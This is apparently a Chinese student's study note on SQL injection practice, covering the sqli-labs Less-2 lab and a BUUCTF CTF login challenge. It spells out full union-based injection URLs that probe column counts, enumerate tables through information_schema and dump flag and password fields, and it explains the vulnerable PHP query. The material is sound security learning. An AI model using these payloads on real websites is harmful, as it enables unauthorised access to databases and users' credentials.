学习目标:
- 可视化数据库软件Navicat下载
- 练习题sqli-labs-master
- BUUCTF练习题
学习内容:
1. Navicat界面

连接数据库,账号密码都是root。
2. 更换php版本

并切换版本,因为本次练习题需要低版本的php

3. 练习题1
打开Apache功能,输入网址127.0.0.1/(下载练习题的路径)进入练习题界面

根据提示,判断是GET类型,在网址中输入?id=1,发现能正常输出信息,不用闭合也能输出,另一类题型要先测试,一般用单引号'判断闭合。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1

接着按F12或者右键页面点检查进入控制台界面,并使用HackBar插件,load加载此时的网页,并输入order by 数字 查看存入该数据库的表中有几个字段,也就是多少列。一个一个试错,这里发现5列是报错了,说明实际没有5列,在5列一下。通过试错发现该表的字段一共就3列。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 5

接着用联合语句来查询我们想要的东西,由于页面只会显示一行的数据,所以要让id=1的语句返回false,如用id=1 and 1=2这样就返回false了,也就能显示我们想要的东西了,比如我想知道这些账号密码存在哪个数据库中,调用database()函数。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,database(),3

如上图可知,数据库名为security,接下来要从这个数据库中获取更多信息,想查询security这个数据库有哪些表,information_schema数据库里是系统默认的数据库,里面有很多系统数据库都是固定的,所以我们按照各种数据库和表来查询。从tables表中查询所属表的数据库名为security中的表名数据。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security'

能够看到该数据库中一共有5个表,我们要查询的就是flags表,从而获得里面的flag。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,database(),group_concat(flag) from security.flags

4. BUUCTF练习题,极客大挑战
跟上题类似,需要找出本题的sql语句闭合是用什么字符,用单引号'来测试发现存在sql注入问题,通过测试是用#来标注的,转换为字符就是%23。然后跟上题一样输入语句找到需要的内容。
%27是单引号’的符号,%20的空格的符号
http://a2d35a2a-fd0e-48c8-93de-e291cef7312d.node5.buuoj.cn:81/check.php?username=a&password=1%27

然后通过测试,发现#,也就是%23是该题作者用来标注的符号。

我这用个更直观的说明来解释为什么是判断单引号'是本题的sql语句闭合。在php文件中,用来连接数据库的语句。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//这里的id后面输入的数据是在单引号内的
$sql="SELECT * FROM users WHERE id='$id=1'--+ ' LIMIT 0,1";
--+后面的语句表示注释,相当于输入的id=1'与本身前面的一个单引号把整个语句闭合了,所以这是一条正常的语句,在后面接着别的语句还是可以正常执行的。
然后在后面接着输入别的语句仍然可以执行,这就是sql注入,比如输入order by 5的命令判断该表一共有多少列,最终试错发现是3列,别忘了用单引号’进行语句闭合。
http://a2d35a2a-fd0e-48c8-93de-e291cef7312d.node5.buuoj.cn:81/check.php?username=a&password=1' order by 5%23

然后跟上题一样,输入类似的语句找到该数据库中有什么表。通过database()函数发现该数据存在geek数据库中,而geek数据库拥有两个表,我们要的flag就在这两个表中。
http://a2d35a2a-fd0e-48c8-93de-e291cef7312d.node5.buuoj.cn:81/check.php?username=a&password=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'geek' %23

经过一系列查询,最终能查到flag。逻辑要清晰,首先查询数据库名,然后根据数据库名去查表名,查到两个,再依次试错,接着查询各个字段的数据,最终根据username=flag的条件查询password中的flag,也就是最终的答案。
http://a2d35a2a-fd0e-48c8-93de-e291cef7312d.node5.buuoj.cn:81/check.php?username=a&password=1' union select 1,database(),group_concat(password) from geek.l0ve1ysq1 where username='flag' %23

学习总结:
刚开始做的时候非常的费脑筋,根本搞不懂里面的逻辑,比如哪一步骤到底为什么要那样做,比如如何判断是否有sql注入问题,语句闭合什么的,还要试错作者用什么符号来标注注释的,这些逻辑我半天搞明白。不过现在已经逻辑非常清晰了,写下此篇笔记以用来以后的复习。
学习产出:
- 技术笔记 1 遍
- CSDN 技术博客 1 篇
- 练习题 2 篇




